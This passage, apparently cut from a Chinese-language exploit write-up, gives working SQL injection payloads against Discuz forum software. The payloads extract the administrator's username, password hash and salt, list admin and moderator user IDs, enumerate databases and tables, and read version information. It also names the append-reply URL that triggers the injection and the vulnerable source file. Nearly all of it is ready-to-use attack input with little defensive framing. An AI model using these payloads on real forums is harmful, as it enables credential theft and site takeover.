a',`subject`=(/*!select*/ concat(username,'|',password,'|',salt) from pre_ucenter_members where uid=1 limit 0,1),comment='
 
 
再给出一些语句。
 
',`subject`=(/*!select*/ group_concat(uid,':') from pre_common_member where groupid=1),comment='//查看管理用户
',`subject`=(/*!select*/ group_concat(uid,':') from pre_common_member where groupid=2),comment='//超级版主
',`subject`=(/*!select*/ group_concat(uid,':') from pre_common_member where groupid=3),comment='//超级版主
',`subject`=(/*!select*/ table_name from information_schema.tables where table_schema=0x0000 limit 0,1),comment='//跑表
',`subject`=(/*!select*/ group_concat(schema_name) from information_schema.schemata),comment='//获取所有库
',`subject`=(/*!select*/ concat(@@version,':',user(),':',database())),comment='//版本信息
 
        然后到回复补充那里随便补充一下，注入语句就被执行。
    补充的地址：
     
forum.php?mod=misc&tid={tid}&action=postappend&pid={pid}
 
        上面的语句就会把取得的内容写进回复主题返回。
    漏洞文件：
    source\module\forum\forum_misc.php